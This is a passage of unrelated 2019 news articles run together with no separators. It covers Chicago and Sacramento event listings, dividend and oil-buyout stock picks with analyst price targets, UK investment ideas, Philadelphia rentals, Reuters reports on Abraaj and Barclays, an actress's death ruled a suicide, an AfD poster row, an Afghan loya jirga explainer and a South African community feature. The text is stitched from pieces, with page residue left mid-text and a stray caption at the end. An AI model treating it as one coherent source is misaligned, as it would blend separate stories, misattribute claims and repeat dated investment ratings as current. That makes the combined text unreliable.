anticipated Chicago Michelada Festival with our monthly pop-up fundraiser with All You Can Drink Micheladas. Featured drinks include Big Mich's popular "Pepino" & "Tamarindo" flavors. Invite a friend to enjoy a drink, light appetizers and games! When: Sunday, April 28, noon-3 p.m. Where: National Museum of Mexican Art, 1852 W. 19th St. Admission: $30 Click here for more details, and to get your tickets Toast of Uptown: A Buena Park Wine Walk From the event description: Join us this spring for the second annual Toast of Uptown: A Buena Park Wine Walk, an afternoon of strolling and sipping in beautiful Buena Park! All attendees will receive a wine tasting glass which is your ticket to this eventsimply present it at each stop along the route for delicious wine samples. This self-guided stroll will take you on a tour through the many businesses that call Buena Park home. Story continues When: Sunday, April 28, 2-5 p.m. Where: Human Citizen Workplace, 4101 N. Broadway Admission: $40 Click here for more details, and to get your tickets Mexico in a Bottle Chicago From the event description: Join us for our second year at the beautiful and historic Logan Square Auditorium as we celebrate Mexican craft spirits, food, art and music. What began as a tribute to mezcal, Mexico in a Bottle has evolved to showcase the growing craft beverage scene in Mexico. When: Sunday, April 28, 4-7 p.m. Where: Logan Square Auditorium, 2539 N. Kedzie Blvd. Admission: $75 Click here for more details, and to get your tickets This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. By Moses Kyeyune. The parliament of Uganda is slated to host over 1000 delegates for the forth coming Common Wealth Parliamentary Association. The summit is slated for September 22-29 at the Common Wealth Resort Hotel in Munyonyo, Kasilo County MP Elija Okupa, chairperson of the Organising Committee has said. The MP has been addressing the press at parliament shortly after the launch of the conferences special portal. Investors may cherish dividend stocks and the steady stream of income they provide--but they get twitchy around companies initiating a dividend. Some argue that starting a payout is an admission that the company's best growth days are behind it. Sonia Joao, president of Houston-based advisory firm Robertson Wealth Management, disagrees. "Paying a dividend doesn't suggest slower growth ahead," she says. "If anything, it's the exact opposite. Precisely because the company expects durable growth, they're more willing to part with their cash." This isn't just academic. Dividend stocks have been proven to outperform their non-paying peers over time. Dividend payers in Standard & Poor's 500-stock index enjoyed returns of 9.3% annually from 1972 to 2017, according to Ned Davis Research, while the non-payers delivered returns of just 2.6%. Stocks that initiated or grew their dividends fared best of all, posting average annual returns of 10.1%. Here are five stocks that have initiated a dividend within the past five years. Their yields (as of April 4) range widely, but all have made a commitment to start rewarding their patient shareholders with a regular cash payout. Constellation Brands (STZ); recent share price: $191; dividend yield: 1.5%. The largest publicly traded wine producer also markets beer under Corona, Modelo and other brands. After initiating a 31-cent quarterly dividend in 2015, the company bumped it to 40 cents in 2016 and 52 cents in 2017. Constellation's current 74-cent distribution is more than double its original payout. The yield remains modest, at about 1.5%, but with a payout ratio of just 17%, there's plenty of room to keep bulking up that dividend. eBay (EBAY); $38; 1.5%. Fully 24 years after its start as a public company, the online auction and payments pioneer declared its first dividend earlier this year at 14 cents a share. That gives the stock a modest yield of about 1.5%, slightly below the S&P 500's 2.0% yield. But aggressive dividend growth is feasible. At current levels, eBay is paying out only 22% of profits in dividends. Story continues The company has been quietly growing its business. Revenues per share have risen 54% since 2015, when eBay spun off payments company PayPal. General Motors (GM); $39; 3.9%. GM, which paid dividends in the past, was a casualty of the 2008 meltdown. The original GM was forced to undergo a bankruptcy reorganization in 2009 that wiped out shareholders, but it issued new shares in a 2010 initial public offering. The new GM paid its first quarterly dividend of 30 cents per share five years ago. Its current dividend of 38 cents per share gives the stock a 3.9% yield--one of the highest in the S&P 500. Realogy Holdings (RLGY); $12; 3.0%. Realogy provides an assortment of real estate and relocation services, operating under the Century 21, Coldwell Banker, Sotheby's International Realty and other brand names. The company initiated a dividend in 2016, and with its current dividend of 9 cents per share, it yields a very respectable 3.0%. Realogy's profits are somewhat cyclical, based on the ebb and flow of the residential real estate market. But a 33% payout ratio gives the company room to produce meaningful dividend growth in the years ahead, particularly when the housing market picks up. Valvoline (VVV); $19; 2.2%. This supplier of automotive services and lubricants has a history dating back to 1866, but it's practically a baby as a public company. It was spun off from parent Ashland in 2016. Valvoline declared its first dividend that year and has already juiced the payout by 116% to a current 10.6 cents per share, giving the stock a 2.2% yield. The company's modest dividend payout ratio of 28% leaves ample room for growth. SEE ALSO: 19 Surprising Stocks With a History of Earnings Surprises Longer term, the rise of electric vehicles may mean waning demand for Valvoline's lubricants and services. But even if electric vehicle sales increase, the existing base of traditional gasoline engines would be enough to keep Valvoline in business for a long time to come. EDITOR'S PICKS Copyright 2019 The Kiplinger Washington Editors Photo: Madison Nickel/Unsplash Looking to get out into the community this weekend? From Latin dance to celebrating Earth Day, there's plenty to do when it comes to community and cultural meetups coming up in Sacramento. Read on for a rundown. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Easy, Breezy Waterfront Bachata comes to Old Sac From the event description: Enjoy the beautiful breeze and sunset on Friday with waterfront dancing, featuring Latin rhythms: bachata, salsa and merengue. Dance on the Edge is a Sacramento-based, community-inspired organization that hosts outdoor Latin dance and culture events. All events are open to the public, family-friendly and free. When: Friday, April 26, 6-10 p.m. Where: Old Sacramento Waterfront, 1124 Second St. Admission: Free Click here for more details, and to get your tickets Sacramento Belong Campaign Training Day From the event description: The Belong Movement is an opportunity to meet the polarization and racial anxiety across our nation and state with a choice to bridge across race, faith and status so we may become a new people, where all belong. We are now hosting a local training. Child care and lunch is provided. When: Saturday, April 27, 9 a.m.3 p.m. Where: South Sacramento Christian Center Church, 7710 Stockton Blvd. Admission: Free Click here for more details, and to get your tickets Minority Health Professions Mentor Conference 2019 From the event description: Come and meet Chancellor Gary May of the University of California Davis this Saturday. Meet African American medical professionals and learn about summer medical school tours, academies and certifications. Individual mentor interviews and summer job shadow experiences will be available. When: Saturday, April 27, 10 a.m.1 p.m. Where: Arthur A. Benjamin Health Professions High School, 451 McClatchy Way. Admission: Free Click here for more details, and to get your tickets Story continues Community Shred Day From the event description: On Sunday, bring your family and friends to shred all that paper that is laying around and wasting space. Donations will be accepted with all the proceeds benefiting "Red Day," Keller Williams' day of giving in the local community. When: Sunday, April 28, 9 a.m.1 p.m. Where: Keller Williams, 4080 Truxel Road. Admission: Free Click here for more details, and to get your tickets Sacramento Earth Day From the event description: Sacramento Earth Day 2019 is a family-friendly event about building community and finding ways to help residents reduce their ecological footprint. Live music, games and food vendors will be there to entertain. When: Sunday, April 28, 11 a.m. Where: Southside Park, 2115 Sixth St. Price: Free Click here for more details, and to get your tickets This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Gaza City (Palestinian Territories) (AFP) - At least 60 Palestinians were injured during clashes Friday along Gaza's border, including 36 shot and wounded by Israeli fire, the health ministry in the coastal enclave said. "60 people were injured by (Israeli) occupation forces" and of these 36 were shot by live fire, ministry spokesman Ashraf al-Qudra told AFP. An Israeli army spokeswoman said approximately 7,000 "rioters and demonstrators" had gathered in multiple spots along the heavily-fortified border. Demonstrators "hurled rocks and a number of explosive devices" towards troops, she said, with forces responding in "accordance with standard procedures". Palestinians in Gaza have taken part in often violent demonstrations along the Israeli border fence for more than a year, calling on the Jewish state to end its blockade of the territory. At least 265 Palestinians have been killed by Israeli fire since the demonstrations began in March 2018, the majority during the border clashes. Two Israeli soldiers have been killed. Israel accuses Gaza's Islamist rulers Hamas of orchestrating the protests and using them as cover for attacks. Who's next in oil mergers and acquisitions? Chevron Corp. (ticker: CVX) shocked Wall Street in April by announcing a $33 billion buyout of oil and gas production company Anadarko Petroleum (APC). Less than two weeks later, Occidental Petroleum Corp. (OXY) announced a competing $57 billion buyout bid for Anadarko. According to CFRA analyst Stewart Glickman, Chevron, Exxon Mobil Corp. (XOM) and other oil majors are looking to expand their shale oil exposure, which means investors can expect even more consolidation in coming quarters. With the Anadarko bidding war heating up, here are eight oil companies that could be the next buyout target. Cimarex Energy (XEC) Like Anadarko, Cimarex has large exposure to the Permian basin. Unfortunately, Cimarex has 40% exposure to natural gas and is relatively unhedged compared to its peer group. Permian natural gas prices have slumped recently due to pipeline issues, and Glickman says insufficient takeaway capacity will continue to plague the region until at least the second half of 2019. Glickman estimates Cimarex has only hedged about 25% of its 2019 gas production. Still, Cimarex has low debt levels and a strong balance sheet. CFRA has a "hold" rating and $73 price target for XEC stock. Concho Resources (CXO) Concho is a U.S. oil and gas producer with 590,000 net acres in the Permian Basin in Texas and New Mexico. Glickman says Concho is well run, with exposure to the hottest shale region and a strong balance sheet, all positives for a potential buyer. Concho has a net debt-capital ratio of only 18%, roughly half the 34% average of its peer group. In addition, CXO stock trades at more than a 30% discount to its five-year average earnings multiple. CFRA has a "hold" rating and $116 price target for CXO stock. ConocoPhillips (COP) At a market cap of $74.9 billion, a takeover of ConocoPhillips is unlikely. However, in 2015, Royal Dutch Shell (RDS.A) announced a $70 billion buyout of BG Group. If Exxon Mobil really wanted to make a splash with a huge deal, ConocoPhillips would certainly accomplish that goal. Glickman says ConocoPhillips' commitment to paying down debt and returning cash to shareholders is starting to pay off in 2019. The company's debt-capital ratio is below its peer group, and its payout ratio is healthy. CFRA has a "strong buy" rating and $82 price target for COP stock. Story continues Continental Resources (CLR) Continental is a U.S. oil and gas producer with major exposure to the South Central Oklahoma Oil Province and Stack (Sooner Trend, Anadarko Basin, Canadian and Kingfisher) regions of the Oklahoma Anadarko Basin. In addition, at least 55% of Continental's recent production has come from the Bakken region of the U.S. in Montana and North Dakota. Glickman says Continental is well-positioned to be among the top of its peer group in free cash flow this year. Relatively high debt levels are concerning, but Continental doesn't have any major maturities on the horizon until 2022. CFRA has a "buy" rating and $54 price target for CLR stock. Diamondback Energy (FANG) Diamondback is a Permian Basin pure-play that may be one of the most appealing potential takeover targets. Glickman says Diamondback has very little debt and strong cash flows, even after a $9.2 billion acquisition of Permian competitor Energen back in November. Diamondback now has 390,000 of Permian acres, and Glickman says investors should expect impressive production growth and record earnings in the near term. CFRA is projecting 27% production growth in 2019, yet FANG stock is trading near its all-time lowest valuation. CFRA has a "buy" rating and $125 price target. Apache Corp. (APA) Apache is an oil and gas production company with 2.3 billion barrel of oil equivalent (BOE) in proven reserves in the U.S., Egypt and the North Sea. Despite its Permian exposure and its focus on improving capital efficiency, Glickman says its high debt levels and its relatively high exposure to natural gas liquids could be red flags for potential buyers. Lower natural gas prices could weigh on cash flow in the near term. Glickman also says Apache is making a mistake by prioritizing capital return over paying down debt. CFRA has a "sell" rating and $30 price target for APA stock. EOG Resources (EOG) EOG is one of the largest U.S. exploration and production companies, generating 126,800 barrels per day in Permian production and 171,000 barrels per day in Eagle Ford gas-shale formation production in 2018. Permian production was up 47% last year, and EOG is one of the few U.S. producers planning to increase its capital spending in 2019. EOG has one of the lowest break-even prices for production, providing a safety net for the investors in the event of a downturn in oil prices. CFRA has a "strong buy" rating and $130 price target for EOG stock. Pioneer Natural Resources Co. (PXD) Pioneer is an oil and gas producer with production heavily weighted toward oil in the Permian Basin and Eagle Ford regions. Glickman says Pioneer's relatively high oil exposure is helping drive more impressive financial returns than its peer group. Pioneer's relatively low debt-capital ratio gives the company more financial wiggle room than many of its peers, and early results at its Wolfcamp property have been positive. Pioneer has guided for an 11% capital expenditure reduction and 15% production increase this year. CFRA has a "buy" rating and $185 price target for PXD stock. Oil stocks that could be bought out. -- Cimarex Energy (XEC) -- Concho Resources (CXO) -- ConocoPhillips (COP) -- Continental Resources (CLR) -- Diamondback Energy (FANG) -- Apache Corp. (APA) -- EOG Resources (EOG) -- Pioneer Natural Resources Co. (PXD) Take advantage of European chaos. A new report by consulting and accounting firm EY found that Britain is the top corporate investment destination in the world. For the first time in the 10-year history of the EY annual survey, the U.K. is the top destination for foreign corporate investment in mergers and acquisitions. The U.K. Brexit vote to leave the European Union has created political chaos in Britain, but it has also tanked the pound and made assets cheaper for outside investors. Here are eight ways for U.S. investors to get in on the action. HSBC Holdings (ticker: HSBC) HSBC is an international bank headquartered in London. HSBC has operations around the world, but it is particularly exposed to Asia and the U.K. Morningstar analyst Michael Wu says HSBC's push to increase its Asia exposure makes sense given growing wealth and trade in China, Hong Kong and Singapore. The bank has trimmed $296 billion in risk-weighted assets in recent years as part of a restructuring plan that involves exiting its worst-performing businesses. HSBC shares also pay a generous 5.8% dividend. Morningstar has an "undervalued" rating and $54 fair value estimate for HSBC stock. BP (BP) BP is one of the largest global oil majors with operations in more than 100 countries. BP finally closed the book on its 2010 Deepwater Horizon accident in 2016 when it reached a settlement with the U.S. government and Gulf states. Morningstar analyst Allen Good says BP management has been executing its strategy of increasing production while managing operating and capital costs. Good says BP should be able to hit its target for 5% annual production growth through 2021. Morningstar has an "undervalued" rating and $52 fair value estimate for BP stock. Royal Dutch Shell (RDS.A) Royal Dutch Shell is a British-Dutch global oil major headquartered in the U.K. Bank of America analyst Christopher Kuplent says Shell is one of the most defensive investments among oil stocks. Kuplent says Shell has taken strides in reducing its debt-equity ratio, and the company will be able to return 20% of its market cap to shareholders via dividends and buybacks in a two-year period. Shell shares pay an appealing 5.7% dividend yield. Bank of America has a "buy" rating and $69 price target for RDS.A stock. Story continues GlaxoSmithKline (GSK) GlaxoSmithKline was formed in 2000 via the merger of British drug companies Glaxo Wellcome and SmithKline Beecham. The company's asthma drug Advair is a top seller, but it also has a strong HIV and vaccine portfolio as well. CFRA analyst Wan Nurhayati says GlaxoSmithKline is helping offset declining Advair sales with new products like Nucala and Shingrix. Both drugs seem to be gaining early traction in the market. Like other stocks in this list, GlaxoSmithKline pays an impressive 5.2% dividend. CFRA has a "hold" rating and $43 price target for GSK stock. Diageo (DEO) Diageo is a British multinational alcoholic beverage company that sells products in more than 180 countries. Diageo owns both the top-selling global vodka brand (Smirnoff) and the top-selling global liqueur (Baileys), as well as other liquor brands. Macquarie analyst Caroline Levy says the popularity of vodka/soda drinks have been on the rise among younger American drinkers looking for lower-calorie alternatives to beer. Levy is forecasting 5% organic revenue growth and 7% EPS growth for Diageo over the next three years. Macquarie has an "outperform" rating and 140 British pounds ($181.88) price target for DEO stock. AstraZeneca (AZN) AstraZeneca is a major pharmaceutical company that focuses on treatment of gastrointestinal, cardiovascular, respiratory and neurological conditions, including cancer. Nurhayati says the $2 billion in sales from newer products in 2018 is encouraging for investors and will help the company combat near-term sales headwinds from rising competition and patent expirations. While a return to sales growth is a positive development, Nurhayati says AstraZeneca shares are fairly priced at current levels. Like GlaxoSmithKline, AstraZeneca also pays an appealing 3.6% dividend yield. CFRA has a "hold" rating and $42 price target for AZN stock. British American Tobacco (BTI) British American is a global tobacco giant that owns top brands Kent, Lucky Strike, Newport and Camel. Bank of America analyst Mirco Badocco says British American will expand its margins by 0.5% in 2019 thanks to cost cuts, but it faces an increasingly uphill battle in the longer term. Badocco says deteriorating fundamentals, rising competition and ongoing regulatory threats leave British American as one of the most risk-exposed stocks in the tobacco group. BTI stock has an appealing 6.7% dividend, but Bank of America has an "underperform" rating and $32 price target. iShares MSCI United Kingdom Index (EWU) For investors looking for the best way to take a diversified stake in the U.K. economy, the EWU may be the best option. In addition to the seven stocks already mentioned, the EWU exchange-traded fund holds shares of 106 other U.K. and European stocks. The EWU ETF is the best and most popular "pure-play" ETF for exposure to the British market. The fund has $2.4 billion in assets, an expense ratio of 0.47% and average daily trading volume of 2.3 million shares, suggesting liquidity is not a problem. Best ways to invest in the U.K. -- HSBC Holdings (HSBC) -- BP (BP) -- Royal Dutch Shell (RDS.A) -- GlaxoSmithKline (GSK) -- Diageo (DEO) -- AstraZeneca (AZN) -- British American Tobacco (BTI) -- iShares MSCI United Kingdom Index (EWU) 4429 Sansom St. | Photos: Zumper Curious just how far your dollar goes in Spruce Hill? According to Walk Score, this Philadelphia neighborhood is extremely walkable, is great for biking and boasts excellent transit options. Data from rental site Zumper shows that the median rent for a one bedroom in Spruce Hill is currently hovering around $1,000. So, what might you expect to find if you don't want to spend more than $900/month on rent? Read on for a roundup of the latest rental offerings, via Zumper. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 212 S. 41st St. Here's this studio located at 212 S. 41st St. It's listed for $900/month. Neither cats nor dogs are allowed. The rental doesn't require a leasing fee. (See the complete listing here.) 4429 Sansom St. Next, here's a studio at 4429 Sansom St. that's going for $875/month. In the unit, you'll get hardwood floors. Pets are not welcome. There's no leasing fee required for this rental. (Take a look at the full listing here.) 4416 Osage Ave. Check out this 323-square-foot studio that's located at 4416 Osage Ave. It's also listed for $875/month. On-site laundry and a business center are listed as building amenities. Animals are not allowed. Future tenants needn't worry about a leasing fee. (Take a look at the complete listing here.) 4325 Sansom St. Then, located at 4325 Sansom St., there's a one-bedroom, one-bathroom that's listed for $850/month. In the unit, you can anticipate hardwood floors. Neither cats nor dogs are permitted. There isn't a leasing fee associated with this rental. (Check out the complete listing here.) 4524 Osage Ave. Finally, listed at $815/month, this studio is located at 4524 Osage Ave. In the condo, you can anticipate hardwood floors. Pets are not permitted. Future tenants needn't worry about a leasing fee. (See the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. By Tom Arnold LONDON, April 26 (Reuters) - A London court case to extradite Arif Naqvi, founder of collapsed private equity firm Abraaj Group, to the United States on fraud charges was adjourned until May 24, a court official said on Friday. Naqvi was remanded in custody until that date, the official said. A former managing partner of Dubai-based Abraaj, Sev Vettivetpillai, was released on conditional bail to appear again at Westminster Magistrates Court on June 12, the official said. Under the U.S. charges, both men are accused of defrauding U.S. investors by inflating positions held by Abraaj in order to attract greater funds from them, causing them financial loss, the official said. Vettivetpillai could not be reached for a comment. Naqvi, in a statement released through a PR firm, has pleaded innocent. The U.S. Securities and Exchange Commission alleges that Naqvi and his firm raised money for the Abraaj Growth Markets Health Fund, collecting more than $100 million over three years from U.S.-based charitable organizations and other U.S. investors. Naqvi and Vettivetpillai were arrested in Britain earlier this month. Another executive, Mustafa Abdel-Wadood was arrested at a New York hotel, Assistant U.S. Attorney Andrea Griswold said at a hearing in Manhattan federal court on April 11. Abdel-Wadood appeared at the Manhattan hearing and pleaded not guilty to securities fraud, wire fraud and conspiracy charges. (Editing by Jane Merriman) By Simon Jessop and Sinead Cruise LONDON (Reuters) - Activist investor Edward Bramson is likely to fail in his attempt to get a board seat at Barclays' annual meeting next week, even though shareholders are dissatisfied with performance of the group's investment bank. New York-based Bramson's Sherborne Investors and the board of the British bank have been sparring for months over Barclays' strategy. Bramson wants to scale back Barclays' investment bank to reduce risk and boost shareholder returns. Barclays Chief Executive Jes Staley remains staunchly committed to growing the business out of trouble. After failing to persuade Staley to change course since he began building a 5.5 percent stake in the bank in March last year, Bramson hopes a board seat will rachet up the pressure. Both sides have written to shareholders pitching their case and Bramson has courted investors in one-on-one meetings, although none have publicly backed him yet. Interviews by Reuters with five institutional investors in Barclays suggest Bramson has failed to persuade them. Sherborne declined to comment. Mirza Baig, head of investment stewardship at top-40 shareholder Aviva Investors, said Bramson was welcome on the bank's register but the boardroom was a step too far. "He has created a lot of value at other businesses, but, generally, when he has come in as executive chair and taken full control. This would be a different case where he would just be one lone voice on the board," he said. A second Barclays shareholder said he backed Bramson's goal of improving returns but via an "evolutionary" approach. "If you look at banks that have tried to restructure their operations in investment banking - you look at Natwest Markets, Deutsche Bank - I struggle to think of an example where a roughshod restructuring has been accretive to shareholder value." A third, top-30 investor said he had been impressed by incoming Chairman Nigel Higgins' grasp of the challenge in hand, and felt investors would give him time. Story continues "Management know they have to execute and deliver improved returns... [Higgins] will continue to re-shape the board but obviously he didn't feel that having someone with a diametrically opposed view on it would be helpful." A fourth, top-30 investor agreed: "We voted for the chairman to come in and it would be crazy to allow an activist to join the board (at this time)." Jupiter Fund Management, the 24th largest investor, said it also planned to vote against Bramson. Barclays has nearly 500 institutional shareholders, Refinitiv data showed. Since Staley joined Barclays in 2015, the investment bank returns relative to capital invested have increased but are still underperforming the overall business. Barclays' first-quarter figures showed the investment bank posted a 6 percent drop in income from its markets business and a 17 percent fall in banking advisory fees. Returns in the investment bank fell to 9.5 percent from 13.2 percent a year ago. Famed for successful campaigns against smaller British companies in sectors from chemicals to advertising, Bramson's board seat pitch has been rebuffed by shareholder advisory firms. Institutional Shareholder Services, the world's biggest, said Bramson's proposal "falls short of what can reasonably be expected from a shareholder trying to address issues at a 28 billion pounds, systemically important bank". Glass Lewis also flagged concern about Bramson's lack of banking experience and "questionable" shareholding structure, referring to Sherborne's use of derivative contracts to hedge losses should its strategy fail. Critics said the arrangement meant his interests are not truly aligned with those of other long-term shareholders. British advisory firm Pirc, however, said it recommended that investors abstain in the vote on Bramson's proposal as a challenge to the board to do better in the year ahead - or face a similar contest in 2020. (Editing by Jane Merriman) Demian Bichir and Stefanie Sherk (Credit: Chris Pizzello/Invision/AP) The actress and model Stefanie Sherk, wife of The Bridge actor Demian Bichir, was found dead in their swimming pool, according to reports. Her death has now been ruled a suicide by the LA County Medical Examiner-Coroner. US site The Blast says that Bichir returned home from grocery shopping to find Sherk weighed down in the pool. Read more: Actress Stefanie Sherk dies at 37 Paramedics attended the scene and were able to successfully resuscitate her, after which she was taken to hospital. But she died eight days later in hospital on April 20. Though initial reports put her age at 37, official documents say she was 43. Reports also say that she suffered from bouts of depression. Yesterday Bichir confirmed her death in a post on Instagram. Dear friends, on behalf of the Sherk and the Bichir Najera families, it is with inconceivable pain that I announce that on April 20, 2019, our dearest Stefanie Sherk, my beloved and loving wife, passed away peacefully, he wrote. It has been the saddest and toughest time of our lives and we dont know how much time it will take for us to overcome this pain. Read more: CBBC actress Mya-Lecia Naylor dies at 16 Stefanies beautiful, angelical and talented presence will be immensely missed. We will hold Stefanie in our hearts forever. We thank everybody beforehand for their prayers and we respectfully ask for your understanding so we may grieve in peace and privacy in these incredibly difficult times. It is our sincerest hope that our beautiful Stefanie, my angel and love of my life, will rest in eternal peace. The Canadian-born actress had appeared in a number of movies, including her husbands directorial debut Un Cuento de Circo & Love Song, and Valentines Day with Ashton Kutcher. April 26 (Reuters) - U.S. advertising firm Interpublic Group of Cos Inc reported a 13 percent rise in quarterly revenue on Friday, boosted by higher client spending worldwide. Net loss available to the company's common stockholders narrowed to $8 million, or 2 cents per share, in the first quarter ended March 31, from $14.1 million, or 4 cents per share, a year earlier. Net revenue rose 13 percent to $2 billion. (Reporting by Akanksha Rana in Bengaluru; Editing by Maju Samuel) Berlin (AFP) - A European elections campaign poster by Germany's AfD featuring a 19th-century painting called "The Slave Market" has raised hackles, with a US art museum demanding that the far-right party withdraw the advert. The Berlin chapter of Germany's anti-immigration party has featured in its campaign poster the 1866 painting of turban-wearing and bearded men scrutinising a naked woman, along with the slogans "Europeans vote AfD", "so that Europe doesn't become 'Eurabic'". But the Massachusetts-based Clark Art Institute, which owns the painting by French artist Jean-Leon Gerome, has protested against the use of the work after seeing the AfD poster on Twitter. "We strongly condemn the use of the painting to advance AfD's political stance and have written to them insisting that they cease and desist in using this painting," said Olivier Meslay, the institute's director. "The Clark Art Institute owns the painting and we are strongly opposed to the use of this work to advance any political agenda. We did not supply this image to the AfD Berlin," he added. However, Meslay conceded that as the painting is in the public domain, "there are no copyrights or permissions that allow us to exert control over how it is used other than to appeal to civility on the part of the AfD Berlin". The AfD was not immediately available for comment. The poster has also sparked a storm on social media. Writing on Twitter, a member of Chancellor Angela Merkel's CDU party, Serap Guler, said: "No, true Europeans don't elect racists. "True Europeans do not defend Europe with fear and hate. "Above all, they don't elect parties that want to dissolve the EU and do not care for what Europe stands for." The AfD is no stranger to controversial advertising. During the 2017 general election campaign, it plastered provocative posters across Germany, declaring "Burkas? We prefer bikinis" and "New Germans? Let's make them ourselves", featuring a pregnant white woman. It has become the biggest opposition party by railing against Merkel and her 2015 decision to allow a mass influx of asylum seekers. Afghanistan on Monday will convene a rare "loya jirga" -- a massive meeting for delegates from across the country to discuss the war and US efforts to forge a peace deal with the Taliban. More than 2,000 people have been invited to gather amid tight security for four days of debate under a large tent in Kabul. Here is a look at the history of loya jirgas, and what to expect from this one. - What is a loya jirga? - A loya jirga -- literally "grand assembly" in Pashto -- is traditionally comprised of Afghan elders. Such gatherings have a centuries-old history in Afghan culture and are periodically convened to reach a consensus on major political issues. The most recent jirga was held in 2013, when Afghan officials endorsed a security agreement that allowed US troops to stay in Afghanistan beyond their planned withdrawal in 2014. In August 2007, the first joint Afghan-Pakistan jirga was held in Kabul after relations between the neighbours deteriorated amid Afghan accusations that Pakistan was harbouring Taliban and Al-Qaeda fighters. In 2003, former president Sibghatullah Mojaddedi chaired a loya jirga that approved Afghanistan's new constitution for a post-Taliban era. The events usually comprise political figures, religious scholars, teachers, activists and community leaders. Delegates typically break into smaller groups to tackle various matters. - What is on the agenda? - The upcoming loya jirga is being held at a time when the US and Taliban militants have held several rounds of talks. The two sides have discussed a possible troop withdrawal from Afghanistan in exchange for a ceasefire and various pledges from the Taliban. But crucially, the talks have thus far cut out the government of President Ashraf Ghani, whom the Taliban view as a US stooge. Ghani's government is jostling for influence in the peace talks and the jirga aims to set out Kabul's red lines for any deal, including the continuation of the constitution and the protection of women's rights, the media, and free speech. Story continues Ghani has invited the Taliban to participate, but the insurgents, having waged an unrelenting guerrilla war since 2001, have predictably refused. In the past, the Taliban have blasted rockets at the loya jirga tent, and much of Kabul is being locked down under a massive security operation for this year's event. In a statement, the Taliban vowed that any decisions or resolutions made at a loya jirga are "never acceptable to the real and devout sons of this homeland". - Who will be there? - Top politicians including Ghani, former president Hamid Karzai, ex-foreign minister Zalmay Rassoul, former warlord Abdul Rab Rasoul Sayyaf and many other Afghan officials are attending. But chief executive Abdullah Abdullah, notorious former warlord Gulbuddin Hekmatyar, and Ghani's former national security advisor Mohammad Haneef Atmar are boycotting the event, saying it was pulled together without consultation and is being used by Ghani to campaign ahead of presidential elections slated for September. - What is at stake? - A lot. Ghani's credibility, fast dwindling in the eyes of the West, will be put to the test, with observers waiting to see if he can secure a meaningful consensus, or whether the event will unravel amid bickering and in-fighting. A planned meeting between Afghan officials and the Taliban in Qatar collapsed at the last minute this month over recriminations about the number of delegates Ghani wanted to bring to Doha. His original roster comprised 250 members, which the Taliban likened to a guest list for an Afghan wedding. A new round of talks between the Taliban and the US is due to take place in Doha in the coming days. A meaningful and clear signal from Kabul will be key for US negotiators. Eldorado Park (South Africa) (AFP) - "It is all about the blacks. The 'Rainbow Nation' is a big lie!" complained Dalene Raiters, a South African mother from the "Coloured" community. "We are not black enough," added her sister who has also been unemployed for years. "We are not part of this country. We were marginalised during the apartheid and even now," lamented Dalene, getting into her stride about the discrimination of which she insists she is a victim. "Our people live like mushrooms. Four generations under the same roof," said Elizabeth Raiters, seated in the living room of the family home in the majority "Coloured" township of Eldorado Park, an outlying suburb of Johannesburg. In total, nine people -- soon to be 10 with a baby due -- live in the property, which has a small bedroom and a hut in the yard. Elizabeth applied for social housing to ease the squeeze -- but that was 17 years ago, and failed. She is convinced it is because of the colour of her skin. Apartheid legally divided South Africans into groups of whites, blacks, Indians and "Coloured," a term meaning people deemed to be of mixed race. The remnants of system were swept away a quarter-century ago, and today the notion of race remains as discredited as is segregation. Yet the term "Coloured" is still widely used today -- and complaints of exclusion are common. "We are constantly in the middle," complained Elizabeth, a woman with a small frame and hair held back with a headband. The "Coloured" community itself also comprises several ethnic groups, notably including the San (bushmen) and Nama -- both indigenous to southern Africa. They are often referred to as the country's "first nation," according to Keith Duarte, a representative of the community living in Eldorado Park. In 1994, when the ruling African National Congress (ANC), spearhead of the anti-apartheid fight, was propelled to power, "we all felt that the ANC would represent us, would be inclusive," he said. Story continues "It was the biggest mistake ever... We need to be treated equally," he insisted. - 'The forgotten sheep' - In the down-at-heel Eldorado Park township, where the traffic lights sometimes show amber and red at the same time, the small brick homes offer an illusion of comfort. Behind each home there are courtyards which host cabins made of whatever was available that are home to entire families. To enter the home of Chesney Van Wyk -- a hut with just three square metres (30 square feet) of floor space -- one does not have to push the door, but instead lift it with two hands. It has neither a handle nor a hinge. Van Wyk and his partner, who share a small mattress, use a small peach tree behind the door as a bag rack. The shack, made with plastic-covered cardboard, floods whenever it rains. Chesney makes ends meet thanks to the small jobs the neighbours give him. But today he was focussed on another task. Along with dozens of other nearby residents toting picks and shovels, Van Wyk cleared a vacant plot of land before marking out locations for their future homes with branches. "We are claiming this land. We know it is illegal but every time we apply for a (social) house, we need to fill up some documents and they never get back to us," he said. "For us it's like we are the forgotten sheep." During apartheid, "we were not white enough, and now we are not black enough," he added. - 'I prefer apartheid' - "They say we are nothing. We are bastards. We are not white, nor black," said Violet Bouwers, a woman in her fifties who was also helping to clear land. Local youths have limited job opportunities and many have turned to drugs. In the township, a hit of highly-addictive crystal meth sells for 50 rands ($3.20). The drug has ravaged many lives. In April three mothers made criminal complaints against their addicted children for attempted murder and domestic violence, said Dereleen James of the Yellow Ribbon Foundation which fights drug abuse. One mother recently killed her addicted son. "She could not handle it anymore," said James, before commencing a lengthy pursuit in her car for a young addict whose mother requested he be detained. Patients young and old insist they are in their dire situation because of their skin colour. There are several drug rehabilitation centres in the township where many people see themselves as victims of an unfair system. If one goes by official figures, this picture of marginalisation is somewhat different. Household income among the "Coloured" community is twice as high as the black majority who make up 81 percent of the population. Unemployment stands at 30.5 percent among the black labour force while it is 23 percent for the "Coloured" community. "Coloured people have always been marginalised under colonial and apartheid rule," said Jamil Khan, a researcher at the University of the Witwatersrand's Centre for Diversity Studies in Johannesburg. "Post-apartheid South Africa has not addressed that legacy substantially and aggressively enough." The sense of injustice has persisted to the point that several community members lament the fall of apartheid under which "Coloured" people had neither the freedom to move around nor vote. "The blacks have all the opportunities," complained pastor's wife Janice Jacobs, 49. "We were much more comfortable during the apartheid. They would provide us a school pack with all the stationery. We had nurses in the schools. There was order and discipline. If you set a place alight, you would end up in jail. "The apartheid government used to look after education, health, housing. (This) government does not look after us. I prefer apartheid." Irish finance minister Paschal Donohoe outside the country's government buildings. Photo: Getty Ireland 